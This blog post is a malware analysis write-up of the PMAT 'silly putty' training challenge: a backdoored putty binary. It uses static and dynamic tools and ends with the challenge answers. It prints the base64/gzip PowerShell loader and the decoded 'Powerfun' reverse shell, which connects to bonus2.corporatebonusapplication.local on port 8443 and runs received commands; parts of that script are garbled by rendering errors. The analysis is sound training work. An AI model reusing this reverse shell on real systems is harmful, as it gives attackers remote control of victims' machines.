Silly Putty Malware Analysis

After completing the PMAT course, something set into motion. My new found passion for Malware Analysis. This will be the second time I revisit the course and complete the challenges to help supplement my learning as I complete the eCMAP certification.


I will be performing full Basic Static and Basic Dynamic Analysis of the first challenge binary "silly putty". There are 3 challenges in this course increasing in difficulty, I hope to publish the remaining challenges in the near future.

Basic Static Analysis

Hashing the sample

To start, we need to hash the sample so that we can upload it to VirusTotal to check for any detections. The sha256 hash can be found below.

0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83

VirusTotal

Searching for the hash, we notice that there are 58 detections for the sample which is a strong indicator that this is not a benign sample.

Strings

When running strings against the sample, the resultant text file was quite large. To save some time I used a number of regex's to find any interested strings. One findstr command (shown below) found an encoded PowerShell command.

type strings.txt | findstr /r "powershell | IEX | -nop -w hidden | -noni | -ep bypass | ExecutionPolicy | New-Object System | FromBase64String | GzipStream | powershell.exe -e"

The encoded PowerShell command can be found below:

powershell.exe -nop -w hidden -noni -ep bypass "&(\[scriptblock\]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,\[System.Convert\]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),\[System.IO.Compression.CompressionMode\]::Decompress))).ReadToEnd()))"

Placing the encoded PowerShell command into CyberChef with the recipe below allowed me to decode the command:

From_Base64('A-Za-z0-9+/=',true,false) Gunzip()

As a result the plaintext PowerShell script can be read below. From the script we can infer that this sample will execute a PowerShell script which will make a connection to bonus2.corporatebonusapplication.local on port 8443 and will use SSL encryption.

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
wc = New-Object -TypeName Net.WebClientwc=New−Object−TypeNameNet.WebClientwc.UseDefaultCredentials = truetruewc.Proxy.Credentials = wc.Credentialswc.Credentialswc } function powerfun { Param( [String]$

KaTeX parse error: Expected 'EOF', got '}' at position 4: wc }̲ function power…

Command,
[String]Sslcon, [String]Sslcon,[String]Download
)
Process {
modules = @() if (modules=@()if(Command -eq "bind")
{

KaTeX parse error: Undefined control sequence: \[ at position 12: listener =[̲System.Net.Sock…
listener.start()
$client =
KaTeX parse error: Expected 'EOF', got '}' at position 28: …eptTcpClient() }̲ if (
KaTeX parse error: Expected 'EOF', got '}' at position 32: …cpClient() }̲ if (

Command -eq "reverse")
{
$client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
}

$stream = $client.GetStream()

if ($Sslcon -eq "true")
{
sslStream = New-Object System.Net.Security.SslStream(sslStream=New−ObjectSystem.Net.Security.SslStream(stream,

KaTeX parse error: Expected '}', got 'EOF' at end of input: false,({
True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")
$stream = $sslStream
}
[byte[]]bytes = 0..20000|%{0}bytes=0..20000∣sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")env:computername+"‘nCopyright(C)2015MicrosoftCorporation.Allrightsreserved.‘n‘n")stream.Write(sendbytes,0,sendbytes,0,sendbytes.Length)

if ($Download -eq "true")
{
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
stream.Write(stream.Write(sendbytes,0,sendbytes.Length) ForEach (sendbytes.Length)ForEach(module in

KaTeX parse error: Expected '}', got 'EOF' at end of input: …DownloadString(
module)|Invoke-Expression
}
}
sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')sendbytes=([text.encoding]::ASCII).GetBytes(PS+(Get−Location).Path+>)stream.Write(sendbytes,0,sendbytes,0,sendbytes.Length)

while(($i = stream.Read(stream.Read(bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = EncodedText.GetString(EncodedText.GetString(bytes,0, $i)
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

$sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()  
}
client.Close()client.Close()listener.Stop()
}

}

powerfun -Command reverse -Sslcon true

PeStudio

Analysing the sample in PeStudio, we confirm that this is a 32-bit executable and we notice the MZ magic bytes.

It can also be seen that there are a number of blacklisted functions commonly used in malicious programs such as GetClipboardData, OpenProcess, RegCreateKey, etc.

PeView

Analysing the sample in PeView, we can confirm that this sample is not packed by comparing the virtual size and the size of raw data found in the .text section in the image section header.

Converting the raw data to bytes we have 614,253 bytes for the virtual size and 614,400 bytes for the raw data which are almost identical in size.

Basic Dynamic Analysis

Network Based Indicators

Wireshark

As soon as we run the binary we notice that it calls out and sends a DNS request to the domain we saw in the PowerShell script. We know from the PowerShell script that it is trying to connect on port 8443. Also from the TCP retransmission packets to port 8443, we could infer that the binary is trying to connect to this port but currently there is no listener on port 8443 to catch the connection.

bonus2.corporatebonusapplication.local: type A, class IN

Setting up a Netcat listener on my Remnux machine, I hoped to catch a connection in order to understand what the sample would do once a connection is established.

This connection was however of no use to me, the connection is made over port 8443 and uses the TLS protocol as discovered in the PowerShell script. As I do not have the correct TLS certificate to complete the TLS hello (as shown below), I could not get the full reverse shell and interact with the connection.

TCPView

Looking at TCPView when the malware detonates, I could see that the PowerShell script executes and tries to connect to my Remnux box acting as the internet over port 8443.

Procmon

Setting the filter below I was able to identify events where PowerShell was making connections to port 8443 to cross correlate to what I saw in TCPView.

Host Based Indicators

Upon initial detonation I noticed that there is a PowerShell command prompt that opens and closes as soon as putty is detonated which gives an indication that PowerShell is spawned as a child process. This same observation can be made when the victim machine is connected to INetSim and when it is disconnected, simulating a network connection and no network connection. This indicates that the sample does not perform a check to ensure that it is network connected or not.

Procmon

Looking at events in Procmon again, I set the below filter.

This allowed me to see events where putty had started the PowerShell process and in turn executed the encoded PowerShell command.

Looking further at the Parent and Child relationships, I could confirm this by seeing the process tree.

Setting a filter where the PPID is set to the PID of putty.exe (4572), I was able to see all child processes and any events they generated. The only process and events generated as a child process was Powershell.exe.

Verdict

It can be confirmed that this binary is indeed malicious and has been backdoored to execute a PowerShell reverse shell to bonus2.corporatebonusapplication.local over port 8443 using SSL encryption.

Challenge questions and answers

Basic Static Analysis

1. What is the SHA256 hash of the sample?

0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83


2. What architecture is this binary?

32-bit


3. Are there any results from submitting the SHA256 hash to VirusTotal??

58 positive detections


4. Describe the results of pulling the strings from this binary. Record and describe any strings that are potentially interesting. Can any interesting information be extracted from the strings?

An encoded PowerShell command, which when decoded reveals a PowerShell reverse shell. this tries to make a connection to bonus2.corporatebonusapplication.local over port 8443 using the TLS protocol


5. Describe the results of inspecting the IAT for this binary. Are there any imports worth noting?

There are a number of blacklisted imports, nothing immediately telling of the functionality of the binary.


6. Is it likely that this binary is packed?

This binary is not packed.


Basic Dynamic Analysis

1. Describe initial detonation. Are there any notable occurrences at first detonation? Without internet simulation? With internet simulation?

When the binary is detonated with and without internet being simulated, I noticed that there is a PowerShell command prompt that opens and closes as soon as putty is detonated which gives an indication that PowerShell is spawned as a child process.


2. From the host-based indicators perspective, what is the main payload that is initiated at detonation? What tool can you use to identify this?

The main payload is an encoded PowerShell script which can be identified in the Strings output and in Procmon.


3. What is the DNS record that is queried at detonation?

An A record is queried for the domain bonus2.corporatebonusapplication.local


4. What is the call-back port number at detonation?

8443


What is the call-back protocol at detonation?

TLS


5. How can you use host-based telemetry to identify the DNS record, port, and protocol? -

When analysed, the PowerShell script tells us the DNS record, port and protocol.


6. Attempt to get the binary to initiate a shell on the localhost. Does a shell spawn? What is needed for a shell to spawn?

Spawning a shell was unsuccessful as we need the correct TLS certificate to complete the TLS hello.

 

This now marks the completion of this challenge, I really enjoyed completing this easy level challenge again and the next one I post will be slightly harder than this. I hope this was useful for understanding the basics of malware analysis. The next challenge will touch on Advanced Static Analysis techniques using a disassembler and decompiler.

17 views

Recent Posts

See All